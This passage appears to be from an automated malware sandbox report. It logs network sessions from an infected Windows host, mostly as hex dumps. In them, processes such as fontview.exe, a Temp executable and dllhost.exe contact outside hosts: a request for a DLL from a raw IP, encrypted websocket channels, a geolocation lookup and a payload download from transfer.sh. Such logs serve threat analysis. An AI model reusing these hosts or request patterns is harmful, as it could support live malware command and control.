63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Jan 25, 2023 09:42:48.997200012 CET	3400	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://biwrdybrv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 335 Host: potunulit.org
Jan 25, 2023 09:42:49.078161955 CET	3401	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nPv9BcavJsFprqWZHujU1OgCjNlR1icmk90cxEuOxnIvkFQwA%2FYH3t5UsuDskd70sxSHO9IJHlyo5B7xNrvOSS1%2BOv9VAkzVN0zq0d2mo5igjBI8JCK09PzU6o94TTDA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb7b84bc6bb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49735	109.206.243.168	80	C:\Windows\SysWOW64\fontview.exe

Timestamp	kBytes transferred	Direction	Data
Jan 25, 2023 09:43:38.621798992 CET	4237	OUT	GET /upload/libcurl.dll HTTP/1.1 Host: 109.206.243.168 User-Agent: curl/5.9 Connection: close X-CSRF-TOKEN: fmink0nOam7KoC/9AgKuecKr+zF4JrNpfDFMHBsXu52X3IlDVGlEcd+VtBrKAYeaJ5PIJVhvN1kt2smq7jZylA== Cookie: CSRF-TOKEN=fmink0nOam7KoC/9AgKuecKr+zF4JrNpfDFMHBsXu52X3IlDVGlEcd+VtBrKAYeaJ5PIJVhvN1kt2smq7jZylA==; LANG=en-US
Jan 25, 2023 09:43:38.668137074 CET	4238	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 25 Jan 2023 08:43:38 GMT Content-Type: image/jpeg Content-Length: 929566 Connection: close X-Served-By: 109.206.243.168 Data Raw: ff d8 ff e0 00 88 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 1c 0c 0e 00 df 89 2d be 3e be b3 a6 ec 11 56 10 a3 a9 96 ff 61 88 df 99 c2 26 b1 ba 35 3a 4d 51 4e d7 f7 09 8a 3e 9c 70 92 4d 36 21 f4 4f 44 e5 49 c0 73 92 11 92 2f 4c 0d 51 d0 62 c1 cb b9 1e 35 bb fb d3 2c 1f 8f 5a b1 c6 6a 88 44 16 2c 47 0b bb b8 e6 e4 4b 0c ff d1 48 c0 67 37 65 20 4a 0d ce 94 82 1b 0a 1b 6b 80 ca 4b 04 50 57 0d a6 21 ae b9 d4 a6 70 8c 85 ff db 00 84 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 00 78 00 5f 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 f9 f3 c6 73 35 ae a7 6b 15 b3 45 be 5b 28 18 18 a3 1e 59 3e 5a 8c a8 c7 03 8e 07 a5 7c e6 12 11 ab 09 39 6c 9b df 7f 99 f6 53 9c a9 c9 53 5b db a6 dd 4c 83 a9 df 26 63 32 2f 98 b8 c8 d8 80 73 8f 6e 7a d7 4f d5 a9 3d 6d a7 cf fc cc fe b1 59 7b ad eb fd 79 0e 9b 52 bf 74 6f de ca 30 73 ce df 5e 47 4c 62 94 70 d4 ae b4 fc ff 00 cc d2 75 aa 72 dd 5d 7f 5e 85 d8 b5 3b 6b b2 1d 60 b5 8d 06 0b 87 de 01 cb 80 40 c1 27 80 7f 10 0f 42 3e 6c 5e 1e 54 f4 bb 6f e5 db e5 bf e7 e4 f4 eb 86 22 95 55 cc 92 4b ad f9 ba bf 56 f4 fc 55 f6 6a d2 b9 fd a6 64 b5 fb 3c 4a f1 36 04 68 63 6c ec 7e 42 80 79 52 32 ad f5 00 e0 f4 35 87 d5 92 9f 33 d7 af af e4 fa af 9f 4d cd d5 48 54 87 24 6e 9e d7 5a d9 ea 92 ea b7 4f d5 26 d3 d9 8c d4 2e 64 41 24 b7 4d 2d a4 2a e5 21 22 e2 36 32 15 03 70 3b 80 23 a8 39 c6 09 24 0e 95 74 a8 a7 6e 45 77 d7 47 a7 f5 ea 45 69 46 9d dd 57 ca 96 8b de 8b bb 4b 5d ed 6f bb bd b6 16 ca ea 39 e5 8e 16 7b eb 79 a4 66 54 8f e4 03 e5 07 76 e1 8c 82 31 c8 e9 93 db a0 2a 51 e5 4d d9 34 bd 7a fe 01 87 9c 2a ca 31 bb 4e 57 b6 dd 13 df aa db ef ec 47 a8 de a4 50 42 b1 cd 2c 89 3e f1 f2 b0 c3 a8 c0 f4 3d 4e ef 40 3e 6e bc 13 54 f0 f7 6d b5 6b 5b fa Data Ascii: JFIF->Va&5:MQN>pM6!ODIs/LQb5,ZjD,GKHg7e JkKPW!p!"$"$x_}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?s5kE[(Y>Z\|9lSS[L&c2/snzO=mY{yRto0s^GLbpur]^;k`@'B>l^To"UKVUjd<J6hcl~ByR253MHT$nZO&.dA$M-!"62p;#9$tnEwGEiFWK]o9{yfTv1QM4z*1NWGPB,>=N@>nTmk[
Jan 25, 2023 09:43:38.668251038 CET	4239	IN	Data Raw: fe bc bc c5 5e b5 38 a8 f2 b6 d4 af db 54 ad e4 f7 d7 d3 5d f4 6f 31 26 31 08 c1 0e 1c b6 02 87 4f 9b d3 39 5c 0f af f2 eb 5d 0e 9a 77 7f e7 fe 67 22 6a 36 4d 3b bf 35 af e1 64 0b a9 4c 8e 41 59 92 48 fe 67 20 0c 05 c8 03 23 6f a9 1f 9e 3b e2 87 Data Ascii: ^8T]o1&1O9\]wg"j6M;5dLAYHg #o;^OgG+od'?(N*a`j=>Ik2+ SuMBj?RJJe=<MWS?t"^dK1hP"0m.s]nmJoJ
Jan 25, 2023 09:43:38.668340921 CET	4241	IN	Data Raw: 7b d6 5e ca c9 c2 2e da fe 1a fe 3f d7 43 a3 db 4a 52 55 aa 27 24 d2 fb ee b7 ec 9e 97 df bf 53 33 ed 56 f6 77 b6 3f 69 54 71 73 74 18 ab 06 24 db 89 3a b1 6e b9 e5 7e 8a 73 ef d1 cb 29 42 7c bd 17 e3 6e 9f 9f cc f3 e5 5a 9d 2a d4 94 f5 e6 96 df Data Ascii: {^.?CJRU'$S3Vw?iTqst$:n~s)B\|nZ*>'X[;x"(+Ns=PgxH&i7-:n{vi<aEWhz&u9/?wzX6WjBap
Jan 25, 2023 09:43:38.668391943 CET	4242	IN	Data Raw: da b4 fd 9a 51 77 b9 7f 43 bc be 3e 19 86 ce 68 23 79 7c a2 63 3b b6 38 8c 2b 11 cb 61 4f 2b d4 1f 41 d4 d6 35 a9 d3 55 dc d3 ff 00 87 bf df fd 5f 63 a3 07 88 af f5 45 46 71 e9 a7 9a b6 8b a2 f9 df e4 d9 c6 5c 07 86 f5 e2 9a 32 ff 00 30 de bb c1 Data Ascii: QwC>h#y\|c;8+aO+A5U_cEFq\20#}Gzhj7%s~c~{V%M8xGs0z9qp5q3_K>xwmPsoZ_61v=m]#Kyx:Io=e)'}O:i3
Jan 25, 2023 09:43:38.668438911 CET	4243	IN	Data Raw: 70 3f dd c8 eb 5c f8 84 e5 56 33 5a df f3 d1 7f 91 db 83 51 a7 46 74 a7 64 97 ae da bd 3c 93 ba 4f ad ae 73 da 97 d8 92 d6 79 b4 db c5 92 19 2d ee 91 e2 63 b5 d5 85 b4 bc ed 20 12 39 23 70 18 ce 7d 6b aa 12 9c a4 a3 56 36 69 c7 5e 9f 12 fe ad 73 Data Ascii: p?\V3ZQFtd<Osy-c 9#p}kV6i^sUNgukg{>\|lnrs<pjpFu1\( ~:N=0#o=^wr)\|1\G[I-&m-:2x/88[Bqm%
Jan 25, 2023 09:43:38.668484926 CET	4245	IN	Data Raw: 84 9a 6c 50 4b 1c d3 dc 58 e0 fc c3 e4 68 de 40 c0 8e c7 03 76 0e 38 65 38 e4 57 b1 18 46 92 93 7b 29 7e 69 7f 5f 79 e2 4b 18 ea ca 31 5b b8 db e6 af 7f eb d0 d6 b0 d3 db 4d d1 6d 67 96 26 49 ee 61 12 bb 31 c9 6d c5 88 fa 01 9c 63 d7 27 bd 61 3a Data Ascii: lPKXh@v8e8WF{)~i_yK1[Mmg&Ia1mc'a:n12h"=\b?=TwgU[F{/rM['8'y;sJ,N$HN@#)7AEc ?g?Tw9(mzt[m?7IS
Jan 25, 2023 09:43:38.668524981 CET	4245	IN	Data Raw: 7c 43 d7 7f e1 25 f0 a8 8b c3 f0 b9 9e f2 75 26 59 94 62 38 b9 05 8b 2e 71 b8 ee e0 13 90 99 fa 71 e1 a9 7b 1c 45 eb bd 17 e6 69 46 15 9d 1f dc e8 da b7 f5 e9 d3 d4 f2 dd 16 e3 4b 4f 11 c1 e1 dd 26 5f 3a 52 c0 6a 17 a8 72 b2 10 c7 2a 9e 8b f4 27 Data Ascii: \|C%u&Yb8.qq{EiFKO&_:Rjr*'BV_e~b(?_y/,l.I"@f+4Auq^u8:qz-Rc{glY.SohTjMG9JGJhIg`GN
Jan 25, 2023 09:43:38.668570042 CET	4247	IN	Data Raw: 75 a1 c1 2c e6 7d 3d 60 8e 7b 71 70 70 b1 c7 21 04 a8 38 24 6d 28 71 9c 60 0c 64 0c 0a e8 c1 e2 23 06 db 5a cb b7 5b 7f 5e 67 2d 4a 2a 71 94 a1 bc 5b f9 7f 5b fe 02 68 5e 16 d2 2d 6c 16 1b 89 5e e7 31 89 64 54 8f 11 96 c6 5b d3 be ec 03 d6 b1 af Data Ascii: u,}=`{qpp!8$m(q`d#Z[^g-Jq[[h^-l^1dT[QMm\|8<=5RWZi6a[hYW6O\#xni{fgF?]It})m/`spOqW.,nzGL6H!!r7\fU%7f
Jan 25, 2023 09:43:38.668616056 CET	4248	IN	Data Raw: 02 0b 7c 89 05 8d 71 1e d1 6c 5f 74 50 b2 45 31 ad ab 5a 77 44 b2 73 40 c5 f4 7c 42 7f bf 84 51 e2 41 17 62 e5 5b c9 5e d1 b1 f0 82 d8 dd f0 a4 f2 7b 15 ac 59 bc a3 d1 3a 84 6c 72 7c f9 6a 77 db 48 9b df 4f 30 04 c1 3e 87 74 5b ae 3f 64 42 c9 56 Data Ascii: \|ql_tPE1ZwDs@\|BQAb[^{Y:lr\|jwHO0>t[?dBV$w:E mAsG)BT9I2=2hx~ap{{{-YdNo#r0,E #*xx/&<POD_z~<\|\3\|Q6^~9G])2kJp57(_
Jan 25, 2023 09:43:38.668661118 CET	4249	IN	Data Raw: 0e 6f 37 44 d9 7b b0 9f 1a c9 1c 35 51 58 b3 ba c2 a1 3f e9 10 7f dc d5 82 1b 4a cd b0 02 af ac 87 b0 1f fe 8b 5e a6 ab 6d 41 29 21 6f 78 58 e4 33 f7 82 db 17 12 08 d9 64 67 14 4b c2 dd 22 4b 71 3c 81 f5 44 ef c9 6e 2f 1d a7 5a 68 17 c5 de 81 7e Data Ascii: o7D{5QX?J^mA)!oxX3dgK"Kq<Dn/Zh~GKE )1JatljJB+OAm_<b"ddU/,DYECh&*&>U<imz?va)EoOfKNfOs#J>FN\|
Jan 25, 2023 09:43:38.694902897 CET	4251	IN	Data Raw: 8f a9 2a 43 09 a0 93 c3 5c ce b7 b6 8b d0 d3 ee 45 8f c7 fa 74 af 64 a9 a2 e0 6a f4 d0 30 6c f7 80 b5 04 ec ed 08 e9 b0 2a 7d 39 89 c1 d0 5d 82 3b ff 5b 88 4d d6 2a 7b 27 a1 56 a7 a0 a7 69 4f 70 a1 14 86 ac 42 21 72 d7 c7 50 c4 d3 05 98 01 17 c8 Data Ascii: C\Etdj0l}9];[M*{'ViOpB!rP(js_b7X4$7b_GKFhzRq8pHnPg6NGBeU[)OUcSPNY~Ga/9$7jOhM=wo}>]A<GY

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49736	109.206.243.168	80	C:\Windows\SysWOW64\fontview.exe

Timestamp	kBytes transferred	Direction	Data
Jan 25, 2023 09:44:09.970426083 CET	5244	OUT	GET /upload/libcurl.dll HTTP/1.1 Host: 109.206.243.168 User-Agent: curl/5.9 Upgrade: websocket Connection: upgrade Sec-Websocket-Version: 13 Sec-Websocket-Key: owA5TgXDAlJegBd
Jan 25, 2023 09:44:09.999373913 CET	5245	IN	HTTP/1.1 101 Switching Protocols Server: openresty Date: Wed, 25 Jan 2023 08:44:09 GMT Connection: upgrade Upgrade: websocket Sec-WebSocket-Accept: tRvoLHy6aqR4hpwlv8P9Mx1nyuM=
Jan 25, 2023 09:44:10.015150070 CET	5245	OUT	Data Raw: 82 e4 c7 11 51 a4 Data Ascii: Q
Jan 25, 2023 09:44:10.041863918 CET	5245	OUT	Data Raw: 19 95 a5 78 84 65 92 fb 90 70 dc 8c c7 11 51 a4 99 fc af 15 c0 b6 cb 49 0d b6 83 14 7f 91 2b 93 a9 58 6c f4 e4 4d 28 b0 41 40 fe 75 fb 95 e1 49 11 b1 10 e4 cd 82 dc 85 44 3d 2f 81 3a bd ce 85 82 22 b2 26 ae 98 30 08 b6 47 9a 75 71 0c b1 c8 19 23 Data Ascii: xepQI+XlM(A@uID=/:"&0Guq#U/>vVV
Jan 25, 2023 09:44:10.069411039 CET	5245	IN	Data Raw: 82 60 08 73 d3 69 de 67 08 79 64 a7 16 57 ba 5a cc 04 a3 3b 2f 9b b0 62 d4 f9 33 6a 61 22 e3 a6 ef 30 71 7d 93 44 40 b3 f4 5e 04 fe e4 88 4f a1 f4 ca 72 92 19 c5 7f 61 71 5f 7f 55 59 76 c7 dd 75 8f 24 70 f6 f1 56 9f 40 32 2f 1c 84 99 53 ba 00 fa Data Ascii: `sigydWZ;/b3ja"0q}D@^Oraq_UYvu$pV@2/S>
Jan 25, 2023 09:44:10.082230091 CET	5245	OUT	Data Raw: 82 88 23 2e a7 e3 Data Ascii: #.
Jan 25, 2023 09:44:10.108820915 CET	5245	OUT	Data Raw: 4e 33 7b f4 b4 b0 f0 a9 Data Ascii: N3{
Jan 25, 2023 09:44:10.136461020 CET	5246	IN	Data Raw: 82 7e 01 a2 26 24 97 7a 60 af 84 94 8a b9 f6 57 a7 0d 6a c4 a4 61 42 65 45 69 00 ef 0e b2 bc 6e 15 18 87 1c db 25 f9 ff eb 42 71 aa 4f bb ce 0d 7c c1 38 74 8a 1c 02 7c 4f ae ae a1 38 31 2a d9 d6 be 2e a4 c5 8d 62 b7 fd 3d e6 cb 61 e4 53 82 17 75 Data Ascii: ~&$z`WjaBeEin%BqO\|8t\|O81*.b=aSuL9Jwm"Fo]{Oy_-)1KDeE3X!cGRV?)\|x}<GzAz\gO"=i;\|E}NFIYO)e3D2 w4u
Jan 25, 2023 09:44:10.914288044 CET	5246	OUT	Data Raw: 82 fe 00 7e a1 54 f5 d5 Data Ascii: ~T
Jan 25, 2023 09:44:10.914464951 CET	5250	OUT	Data Raw: 96 15 b4 ee e3 36 1a 75 87 fa c5 bb 59 f7 da c9 ad 3d c8 92 bc 6d 20 d9 ef 4a 63 6b 91 90 c4 e4 71 2d e5 95 4d 5c c0 73 9d 15 dc 09 de ad fb 32 25 2a 59 a9 b2 98 2f a5 de e5 54 12 43 00 58 77 e4 ee 27 e7 be 56 2a 7e 18 2b 63 2d 40 a2 2f be 8b 78 Data Ascii: 6uY=m Jckq-M\s2%Y/TCXw'V~+c-@/x6~!n;9K ]#Q\|90uo 6?N-bCmyp0Y<[H*<Re]2B.}zTn[]NUSE@g-ar\A[LZg
Jan 25, 2023 09:44:10.944165945 CET	5251	OUT	Data Raw: 47 1b 92 99 be fd 49 ab 14 95 cc 41 ea e7 e9 7c 61 b8 ae c6 e2 0f 6b c0 9c e6 7a 45 48 c5 ae 63 b1 25 41 37 e0 6b c2 4c 38 1d c4 76 19 38 57 d1 e6 15 49 e0 78 ad 65 a8 8b 2e 7d a1 26 3a e3 02 d1 28 96 24 09 78 3d 61 6d 8e 8d 27 e8 35 07 f0 4d 46 Data Ascii: GIA\|akzEHc%A7kL8v8WIxe.}&:($x=am'5MFw=<6(9d6\G}\u9(?`]wFVu3Cur>yUTLVckrqHjh@R\03W&CR'UMtzNNPm5
Jan 25, 2023 09:44:10.974929094 CET	5251	IN	Data Raw: 82 04 ab 93 83 ab Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49760	109.206.243.168	80	C:\Windows\SysWOW64\fontview.exe

Timestamp	kBytes transferred	Direction	Data
Jan 25, 2023 09:44:49.715501070 CET	15153	OUT	GET /upload/libcurl.dll HTTP/1.1 Host: 109.206.243.168 User-Agent: curl/5.9 Upgrade: websocket Connection: upgrade Sec-Websocket-Version: 13 Sec-Websocket-Key: Bn5huQMTqqBNkhY
Jan 25, 2023 09:44:49.745841980 CET	15153	IN	HTTP/1.1 101 Switching Protocols Server: openresty Date: Wed, 25 Jan 2023 08:44:49 GMT Connection: upgrade Upgrade: websocket Sec-WebSocket-Accept: jDPPT0oPG6SkIMGHPjLa+ELTidI=
Jan 25, 2023 09:44:49.749851942 CET	15153	OUT	Data Raw: 82 fe 00 c7 dc b9 d5 13 Data Ascii:
Jan 25, 2023 09:44:49.778681040 CET	15154	OUT	Data Raw: 02 3d 21 cf 9f cd 16 4c 8b d8 58 3b dc b9 d5 13 7e 18 f9 c2 e1 02 0f c1 a8 31 9e 6f 4f 73 65 3c 53 1d 48 2f fc be ae d3 32 36 1a 19 dc cc 6e 1b b4 f0 37 39 af 7b 9d 0f 3e 75 b2 f7 61 5b 7f 3d e5 68 fa c4 de 84 70 bd 3e 29 16 d2 c3 59 7b 07 8a c8 Data Ascii: =!LX;~1oOse<SH/26n79{>ua[=hp>)Y{qcRYo? V`k],4QgZTQ4M_Yhff>Z\|eS8$h@R\~xh[
Jan 25, 2023 09:44:49.806351900 CET	15154	IN	Data Raw: 82 60 87 1b 7f c8 98 e2 80 a7 4d e9 8a f1 37 95 a7 96 ed 31 2d 7c 5b b7 31 a3 70 fe 90 63 77 1e 42 3a 5f f4 92 e2 7e 10 7b 0b 57 3c 10 10 7d db b9 10 81 45 67 a4 de 26 48 80 68 6b 00 1d e4 de 1f 90 66 72 b3 9d b5 5e 93 b8 03 68 52 1e f7 cf e0 8d Data Ascii: `M71-\|[1pcwB:_~{W<}Eg&Hhkfr^hRxq7
Jan 25, 2023 09:44:49.811691046 CET	15154	OUT	Data Raw: 82 98 96 87 b2 e5 Data Ascii:
Jan 25, 2023 09:44:49.838447094 CET	15158	OUT	Data Raw: 45 4d 58 8a 07 7b 96 92 95 ef 8b 5b 6c 73 4f 07 c1 eb 6a 4f 3a f9 91 6b Data Ascii: EMX{[lsOjO:k
Jan 25, 2023 09:44:49.865772963 CET	15159	IN	Data Raw: 82 7e 00 8f 16 95 ae 92 57 02 b4 5c 78 2c a2 51 f8 d7 f5 c7 b3 06 fc 70 f9 51 e8 2b e1 5e 8c f7 fc a7 c8 81 09 22 0c 93 19 6d ef 5e f3 7d 4e a2 63 c0 fb 24 dd b3 39 fa 0d 68 47 88 a9 29 ea 0a 83 21 00 e2 c7 78 d6 30 76 c3 66 ce bf 7a dd 4e cf f0 Data Ascii: ~W\x,QpQ+^"m^}Nc$9hG)!x0vfzNDcDFk&BQasbq n7?VVARp85
Jan 25, 2023 09:44:49.875559092 CET	15159	OUT	Data Raw: 82 ba 32 23 75 3c Data Ascii: 2#u<
Jan 25, 2023 09:44:49.943804979 CET	15159	OUT	Data Raw: 40 9d 8b 14 fc 16 db 36 86 f0 b2 40 4b 71 a7 6a f1 b1 3e a0 a6 42 e3 f3 aa 73 e6 d5 21 cb 70 66 26 77 3c 97 1d 69 48 db 03 43 ea c7 69 88 a7 8c 4b 02 77 92 fc aa b2 32 eb 2d 82 99 1c 92 e5 fb 88 a3 93 2a 70 5c 25 54 6c b7 a2 ad bb df d8 28 76 8b Data Ascii: @6@Kqj>Bs!pf&w<iHCiKw2-*p\%Tl(vCYb
Jan 25, 2023 09:44:49.971036911 CET	15159	IN	Data Raw: 82 04 92 92 ad 30 Data Ascii: 0
Jan 25, 2023 09:44:55.247864962 CET	15160	OUT	Data Raw: 82 9a 49 c7 e9 61 Data Ascii: Ia
Jan 25, 2023 09:44:55.276283026 CET	15160	OUT	Data Raw: 15 43 e1 7e 14 d5 e8 a4 f5 ea f4 46 ff 53 ac 6a 0a e2 18 bb 97 47 d1 f1 6f c5 Data Ascii: C~FSjGo
Jan 25, 2023 09:44:55.406402111 CET	15160	IN	Data Raw: 82 28 94 4e 03 e9 c5 6a d2 28 fb 78 ca 8e 55 18 ca d1 0e 24 c6 8b 9c f7 3d 02 40 1c 7d 36 4b 26 1f 9a 17 01 95 ec bc c9 1a 44 Data Ascii: (Nj(xU$=@}6K&D

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49730	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\2560.exe

Timestamp	Direction	Data
2023-01-25 08:42:53 UTC	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-01-25 08:42:53 UTC	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 25 Jan 2023 08:42:53 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-01-25 08:42:53 UTC	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49749	144.76.136.153	443	C:\Windows\System32\dllhost.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-25 08:44:46 UTC	1	OUT	GET /get/pMeglv/Blue.bin HTTP/1.1 Host: transfer.sh Connection: Keep-Alive
